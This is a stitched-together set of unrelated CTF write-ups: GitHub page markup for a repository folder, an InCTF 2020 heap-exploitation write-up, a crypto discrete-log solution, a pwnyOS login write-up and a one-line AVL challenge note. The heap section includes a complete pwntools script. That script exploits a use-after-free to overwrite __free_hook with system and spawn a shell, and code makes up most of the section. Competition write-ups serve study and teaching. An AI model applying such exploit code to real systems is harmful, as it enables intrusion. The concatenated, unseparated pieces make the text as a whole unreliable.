</div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>HacktivityCon CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>almost<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>HacktivityCon CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>almost<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/HacktivityCon%20CTF%202020/pwn/almost" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/HacktivityCon%20CTF%202020/pwn/almost"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# InCTF 2020 High quality CTF from bi0s. I played with :game_die:, and we got 2nd. During the CTF I realized that I like harder pwn a lot more than harder web. ## Party Planner We are given the linker, libc, and binary. The challenge uses glibc 2.29, with full security protections, so it's a heap exploit. We get a menu with 9 options:- Create a house- Create a person- Add person to house- Remove person to house- View house- View person- Party- Destroy house- Give up (exit) The program maintains two arrays, an array of houses, and an array of free agents (people that haven't been assigned to a house). The program also maintains a "cache" person pointer. The pointer is updated on viewing / deleting a person. ### HousesWe can only make two houses, and the limit on each house is 10 people. We can choose the name of each house on creation. We can add people, remove people, and party to remove everyone who hasn't been removed. We can also view a house for information on everybody inside, and view a specific person inside a house. Each house chunk (0x30 sized) contains:- a pointer to its name chunk- a pointer to its description chunk- an array of pointers for person i at index i, or NULL if no person ### PeopleWe can make up to 20 free agent people. Each person chunk is of fixed size, but we can choose what size to allocate a description chunk. We can also write to the description chunk after its been allocated. Each person chunk (0x30 sized) contains:- a char array for its name- a pointer to its description chunk- an int describing if the chunk is in use- an int describing its index in a house (0 before adding to a house) Each person must have a description of less than 0x500 size, which includes unsorted bin size (tcache goes up to 0x410). When we add a person to a house, the program removes the specified person from the free agents and puts them into the first available slot in the specified house. If the specified free agent does not exist, the program exits. People in houses are zero-indexed, so the last person in a full house will have id 9. There are pretty tight restrictions on what we can free, as everything is zeroed out properly (or is it?). ### UAF Recall that there is a cache person pointer that is set on view. How does this play into deletions? Here is relevant Ghidra decomp for deleting a person from a house: ```cvoid remove_person_from_house(void){ uint house_num; uint person_num; printf("Which House (0 or 1) ? : "); house_num = read_num(); if ((house_ptr_arr[house_num] == (house *)0x0) || (1 < house_num)) { error("No such House"); } printf("Enter the Person number : "); person_num = read_num(); if (person_chunk == (person *)0x0) { if (house_num == 0) { if (house0_people[person_num] == (person *)0x0) { error("No such Person"); } person_chunk = house0_people[person_num]; } else { if (house1_people[person_num] == (person *)0x0) { error("No such Person"); } person_chunk = house1_people[person_num]; } } if (house_num == 0) { if (person_chunk->in_use == 0) { error("Something went wrong"); } person_chunk->in_use = 0; free(person_chunk->desc); free(person_chunk); house0_people[person_num] = (person *)0x0; } else { if (person_chunk->in_use == 0) { error("Something went wrong"); } person_chunk->in_use = 0; free(person_chunk->desc); free(person_chunk); house1_people[person_num] = (person *)0x0; } person_chunk = (person *)0x0; return;}``` On deletion, if the `person_chunk` (cache chunk) is null, `person_chunk` will be set to the selected chunk. However, if `person_chunk` is NOT null, person_chunk will not be changed and the program proceeds. It then checks if `person_chunk` is in use, presumably to prevent a double free. If not, it exits. If the chunk is in use, it sets `person_chunk` to be free, then frees its description and the chunk itself. However, take a look at the zero-ing logic (lines 33, 42). It zeroes out the chunk at index `person_num` in the selected house, which may be different than what `person_chunk` is, due to it not being set properly before. So, we can now trick the program into thinking a chunk is in use, when it's actually been freed. ### Bug This presents a UAF: Suppose we have 3 chunks in house 0. We view chunk 3, which sets `person_chunk` to chunk 3. We then request to delete chunk 2 from house 0. Because `person_chunk` is not null, it will call `free()` on chunk 3, but null out the chunk 2 pointer in house 0's array. Now, person 3 will be on some freelist, but the contents will still be printed, allowing for leaks from the `fwd` pointer as it's free. ### Libc Leak Leaking libc is fairly trivial after the UAF: - Create house 0, named whatever- Add 3+ 0x480 sized chunks to house 0- View the last chunk- Request to delete the second to last chunk- View the house This will place a chunk into unsorted bin, and the last element in house 0's array will point to it, allow us to leak libc by viewing the house. ### Dup / Arbitrary write Getting an arbitrary write was a bit harder. Because glibc 2.29 patches the easy tcache dup to poison, we should use fastbins. Fastbins still allow double frees as they only check if the head of the list is the same as the chunk that is being freed. So, we can get a 1->2->1 double free. Unfortunately, we can't directly free `person_chunk` twice in any case, as `person_chunk` gets set to not in use and the `person_chunk` pointer gets zeroed after deleting. Luckily, we can use the party function. Here is relevant code:```cif (uVar1 == 0) { local_14 = 0; while (local_14 < 10) { if (house0_people[local_14] != (person *)0x0) { free(house0_people[local_14]->desc); free(house0_people[local_14]); house0_people[local_14] = (person *)0x0; } local_14 = local_14 + 1; }}else { local_10 = 0; while (local_10 < 10) { if (house1_people[local_10] != (person *)0x0) { free(house1_people[local_10]->desc); free(house1_people[local_10]); house1_people[local_10] = (person *)0x0; } local_10 = local_10 + 1; }}puts("\n\nParty is over\nAll people have left\n");``` It loops through the specified house and frees everything that isn't null, then nulls the pointer out. Notice how it doesn't check if the chunk is marked as in use or not. Practically, house 0 is messed up and we don't want to spend time trying to fix it, so let's just use house 1 for the write :) So, we need to:- Create house 1, and name it `/bin/sh`- Add 10 0x60 description sized people to house 1- Free 7 to fill tcache- View person 9- Delete 8 (really frees 9 and nulls 8)- Delete 7 (frees 7 and nulls 7)- Party to free 9 without triggering the in-use check After this, our 0x60 fastbin looks like:`9 -> 7 -> 9` We then need to empty out the 0x60 tcache bin by creating 7 people with description size 0x60. Then, we start pulling from the fastbin. Create a person with desc size 0x60, and write libc's `__free_hook` to both its name and description. This pulls chunk 9 from the fastbin head, and writes to its `fwd` ptr, which affects the chunk 9 at the tail. We write both name and description to the chunk because we are also tcache poisoning the freelist for the person chunks themselves (0x30), so we need a place to write to that won't segfault. You may notice that the fastbin got moved to the tcache. This is normal as glibc does this when the tcache for a size is empty and there are chunks in the corresponding fastbin. Now, our tcache bin for 0x60 looks like `7 -> 9 -> <__free_hook>`. Simply create three more people with desc size 0x60. On the last person, write their description as the `p64()` of `system()`. Then, we can go and delete something with `/bin/sh` in it. Recall that we chose to name house 1 as `/bin/sh`, so we can just go and delete house1, spawning a shell. Script: ```pythonfrom pwn import * e = ELF("./chall")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2") context.binary = econtext.terminal = ["konsole", "-e"] p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path})#p = remote("35.245.143.0", 5555) #context.log_level="debug"gdb.attach(p, """c""") def create_house(name, size, desc): print("create") p.sendlineafter(">> ", "1") p.sendlineafter(": ", name) p.sendlineafter(": ", str(size)) p.sendlineafter(": ", desc) def create_person(name, size, desc): print("create") p.sendlineafter(">> ", "2") p.sendlineafter(": ", name) p.sendlineafter(": ", str(size)) p.sendlineafter(": ", desc) def add(idx, house): print("add") p.sendlineafter(">> ", "3") p.sendlineafter(": ", str(idx)) p.sendlineafter(": ", str(house)) def remove(house, idx): print("remove") p.sendlineafter(">> ", "4") p.sendlineafter(": ", str(house)) p.sendlineafter(": ", str(idx)) def view_house(idx): print("view house") p.sendlineafter(">> ", "5") p.sendlineafter(": ", str(idx)) def view_person(house, idx): print("view person") p.sendlineafter(">> ", "6") p.sendlineafter(": ", str(house)) p.sendlineafter(": ", str(idx)) def party(house): print("party") p.sendlineafter(">> ", "7") p.sendlineafter(": ", str(house)) def destroy(house): print("destroy") p.sendlineafter(">> ", "8") p.sendlineafter(": ", str(house)) create_house("AAAA", 5, "AAAA")create_house("/bin/sh", 5, "ls") for i in range(7): create_person("IIII", 0x480, "DDDD") add(0, 0) create_person("AAAA", 0x10, "AAAA") view_person(0, 6) remove(0, 5) view_house(0) for i in range(28): p.recvline() dat = p.recvline().strip().split(" ", 8) # libc leak here libc.address = u64(dat[-1].ljust(8, "\x00")) - 0x1e4ca0 print("libc address", hex(libc.address)) for i in range(10): create_person("A", 0x60, "B") add(1, 1) for i in range(7): remove(1, i) view_house(1) view_person(1, 9)remove(1, 8)remove(1, 7) party(1) print("malloc hook", hex(libc.sym["__malloc_hook"]))print("free hook", hex(libc.sym["__free_hook"])) for i in range(7): create_person("A", 0x60, "iiii") create_person(p64(libc.sym["__free_hook"]), 0x60, p64(libc.sym["__free_hook"])) create_person("A", 0x60, "AAAA")create_person("A", 0x60, "AAAA") create_person(p64(libc.sym["system"]), 0x60, p64(libc.sym["system"])) destroy(1) p.interactive()``` Flag: `inctf{m3h_th4t_w4s_a_trivial_bug_7734736f615f472}`
## Real ECC > This recent change allows us to finally reduce the key sizeAuthor: @enedil ### Challenge ```pythonfrom operator import xorfrom public import p, gfrom secret import flag, a_s, b_s def add(F, p1, p2): try: return {p1: p2, p2: p1}[-1] except: pass x1, y1 = p1 x2, y2 = p2 x3 = FF(x1*x2 - x1*y2 - x2*y1 + 2*y1*y2) / FF(x1 + x2 - y1 - y2 - 1) y3 = FF(y1*y2) / FF(x1 + x2 - y1 - y2 - 1) return (x3, y3) def mul(F, x, k): acc = -1 while k: if k & 1: acc = add(F, x, acc) # acc = add(F, acc, acc) Typo in challenge acc = add(F, x, x) k //= 2 return acc def pad(data, length): # Assume input is less than 256 bytes. return data + bytes([length - len(data)] * (length - len(data))) def encrypt(data, stream): return xor(int(data), int(stream)) def encrypt_bytes(data, key): data = pad(data, int(key).bit_length() // 8) return encrypt(int.from_bytes(data, 'big'), key) FF = Zmod(p)A = mul(FF, g, a_s)B = mul(FF, g, b_s)print(f'g = {g}', f'p = {p}', f'A = {A}', f'b = {B}', sep='\n')a_ms = mul(FF, B, a_s)b_ms = mul(FF, A, b_s)assert a_ms == b_msshared = a_ms[0] * a_ms[1] print(f'len = {len(flag)}, enc = {encrypt_bytes(flag, shared)}') # g = (375383228397780342292610905741415543021123193893202993933376546008355999579881, 125127742799260114097536968580471847673707731297734331311125515336118666526627)# p = 1017349223066738178194531452435878724694134639196427641168991759143390320356263# A = (603956890649406768784284509883012839855804103607835093214222589654065615494206, 749634286053611578152285189158606552324508418540678613236591040516722145253708)# b = (890062254689797703350145707732638943570461065304155615771307683230377614308406, 467371775612631851798003093722695784734930391102311439111204608050476921601852)# len = 42, enc = 54357159864722158692491564537102129439237984275607683326888133775459718903987000238912076679209103764``` ### Solution #### Defining the problem This is a really interesting challenge. We're given an instance of a DH key exchange using the group formed by a point addition law for some unknown curve. The goal for the challenge is to break the discrete log in this group to recover the shared secret. Unlike traditonal ECDLP challenges, rather than being given the curve, we're only given the operations of point addition and we're shown that this operation is commutative: ```pythona_ms = mul(FF, B, a_s)b_ms = mul(FF, A, b_s)assert a_ms == b_ms``` If we had the curve parameters, we could look at the curve order and see whether we could attack it to solve the discrete log. I spent a bit of time trying to deduce the form of the polynomial which gives rise to this point addition law, but I was unable to. Looking at the characteristic of the curve, we see that it's smooth ```pythonsage: p = 1017349223066738178194531452435878724694134639196427641168991759143390320356263sage: factor(p-1)2 * 4229971 * 4604689 * 6790219 * 9085073 * 9562139 * 9774509 * 11406217 * 20683151 * 24963011 * 26496859 * 29026219``` So then the question is, can we define a map from group of points on the curve to the group $\mathbb{F}_p$? When an elliptic curve is singular, this is indeed the case and is an interesting problem (we have a version of this on CryptoHack). I've also seen this for rational curves of genus 0, such as the circle. Generally, the method is defining an isomorpishm from the group $C (\mathbb{F}\_{p})$ for some curve $C$ to the finite group $\mathbb{F}\_{p^k}$ for some integer $n$. Normally I have seen this done from the curve polynomial, but we can do just as well from the point addition law itself. What we want to show, is that for the point addition $$P = (x_0,y_0), \quad Q = (x^\prime, y^\prime) \qquad \qquad Q = k \cdot P$$ we can find a function $f(x,y)$ such that $$g = f(x_0,y_0), \quad h = f(x^\prime, y^\prime), \qquad h = g^k, \qquad f(x,y) \in \mathbb{F}_p$$ we can then find the secret integer $k$ by solving the discrete log in $\mathbb{F}_p$. This will be very quick using Pohlig-Hellman as $p$ is smooth and easy as sage implements this for us! #### Finding the mapping From the challenge, lets write down exactly what the point addition law is. Note that all operations are done mod $p$, which we will not include explicitly. Adding the two points $P = (x_1, y_1)$ and $Q = (x_2, y_2)$ we get a third point $$P + Q = (x_3, y_3) = \left( \frac{x_1 x_2 + x_1 y_2 - x_2 y_1 + 2y_1 y_2}{x_1 + x_2 - y_1 - y_2 - 1}, \frac{y_1 y_2}{x_1 + x_2 - y_1 - y_2 - 1} \right)$$ When $P = Q$, we can simplify the above and show that **point doubling** is given by $$2P = (x^\prime, y^\prime) = \left( \frac{x^2 - 2xy + 2y^2}{2(x - y) - 1}, \frac{y^2}{2(x - y) - 1} \right)$$ Written in this form, we want to try and find a function $f(x,y)$ such that $f^2(x,y) = f(x^\prime,y^\prime)$. Looking at the numerator, we see the tempting simplification $$x^2 - 2xy + 2y^2 - y^2 = (x - y)^2 \quad \Rightarrow \quad x^\prime - y^\prime = \frac{(x - y)^2}{2(x - y) - 1}$$ but how do we deal with the denominatior? I first decided to look at $3P$ $$x^\prime - y^\prime = \frac{(x - y)^3}{1 - 3(x - y) + 3(x - y)^2} \\$$ and $4P$ $$x^\prime - y^\prime = \frac{(x - y)^4}{(2(x - y) - 1) (2(x - y)^2 - 2(x - y) + 1)}$$ to check things were following my assumed pattern. Let us now change variables to $t = x - y$, which gives us $$\begin{align}t_{2P} &= \frac{t^2}{2t - 1} \\t_{3P} &= \frac{t^3}{3t^2 - 3t + 1} \\t_{4P} &= \frac{t^4}{(2t - 1) (2t^2 - 2t + 1)} = \frac{t^4}{4t^3 - 6t^2 + 4t - 1}\end{align}$$ Written like this, we can see that the denominator is of the form $$t^k - (t-1)^k$$ and we can write $$t^\prime = \frac{t^k}{t^k - (t-1)^k}$$ The last step is to write this in the form such that $h = g^k$, which means we need to rearrange a little $$\frac{1}{t^\prime} = \frac{t^k - (t-1)^k}{t^k} = 1 - \left(\frac{t-1}{t}\right)^k$$ which allows us to write down $$g = 1 - \frac{1}{t} \qquad h = 1 - \frac{1}{t^\prime} = \left(1 - \frac{1}{t}\right)^k, \qquad h = g^k$$ We now have everything we need to solve, the generator, and Alice and Bob's public keys can be represented as $$g = 1 - \frac{1}{x_0 - y_0}, \quad h_{A} = 1 - \frac{1}{x_A - y_A}, \quad h_{B} = 1 - \frac{1}{x_B - y_B}, \qquad g, h_a, h_B \in \mathbb{F}_p$$ All that's left is to code it up and grab the shared secret. From that we simply extract the flag from a `xor` with the `enc` from the challenge data. ### Implementation ```pythonfrom Crypto.Util.number import long_to_bytes def add(F, p1, p2): try: return {p1: p2, p2: p1}[-1] except: pass x1, y1 = p1 x2, y2 = p2 x3 = FF(x1*x2 - x1*y2 - x2*y1 + 2*y1*y2) / FF(x1 + x2 - y1 - y2 - 1) y3 = FF(y1*y2) / FF(x1 + x2 - y1 - y2 - 1) return (x3, y3) def mul(F, x, k): acc = -1 while k: if k & 1: acc = add(F, x, acc) x = add(F, x, x) k //= 2 return acc # Begin Challenge Dataenc = 54357159864722158692491564537102129439237984275607683326888133775459718903987000238912076679209103764p = 1017349223066738178194531452435878724694134639196427641168991759143390320356263G = (375383228397780342292610905741415543021123193893202993933376546008355999579881, 125127742799260114097536968580471847673707731297734331311125515336118666526627)A = (603956890649406768784284509883012839855804103607835093214222589654065615494206, 749634286053611578152285189158606552324508418540678613236591040516722145253708)B = (890062254689797703350145707732638943570461065304155615771307683230377614308406, 467371775612631851798003093722695784734930391102311439111204608050476921601852)# End Challenge Data FF = GF(p)t = G[0] - G[1]t_a = A[0] - A[1]t_b = B[0] - B[1] g = 1 - FF(1 / t)h_a = 1 - FF(1 / t_a)h_b = 1 - FF(1 / t_b) a_s = h_a.log(g)b_s = h_b.log(g) assert A == mul(FF, G, a_s)assert B == mul(FF, G, b_s)assert mul(FF, A, b_s) == mul(FF, B, a_s) secret = mul(FF, A, b_s)s = secret[0] * secret[1] print(long_to_bytes(Integer(enc)^^Integer(s)))``` ### Flag `chCTF{this_wasnt_elliptic_curve_after_all}`
After loading the VM, we are greeted with a login page. ![img](https://gblobscdn.gitbook.com/assets%2F-MC_WJo7n-9hFwfJ__aw%2F-MCwP_6u6XO9BM-G3Cq9%2F-MCyIP_a6TUx_gaXvgas%2Fimage.png?alt=media&token=dc34f715-f0bf-4e2b-9ec9-d13e8c513743) The goal is to login to the account "Sandb0x". The challenge description states that the password consists of 4 lowercase characters, where the first character is 'p'. As the VM is called pwnyOS, I immediately guessed the password to be "pwny" which surprisingly worked. ![img](https://gblobscdn.gitbook.com/assets%2F-MC_WJo7n-9hFwfJ__aw%2F-MCwP_6u6XO9BM-G3Cq9%2F-MCyIayGc9A3Luc6N26b%2Fimage.png?alt=media&token=12920cbb-ea37-4e21-89c2-3a0621afaaca) This was probably not the intended solution as the flag hints that it is supposed to be a Timing Side Channel attack. But oh well, whatever works I guess. ![img](https://gblobscdn.gitbook.com/assets%2F-MC_WJo7n-9hFwfJ__aw%2F-MCwP_6u6XO9BM-G3Cq9%2F-MCyL3ATiBFO918kORT5%2Fimage.png?alt=media&token=f8f713fa-857e-4f68-b87e-eaf12e9b12e4) **Flag: uiuctf{t1ming_s1d3_chann3l_g4ng}**
This challenge had a buffer overflow vulnerability, and required careful insertion of nodes into an AVL tree to rotate a desired node to the root of the tree
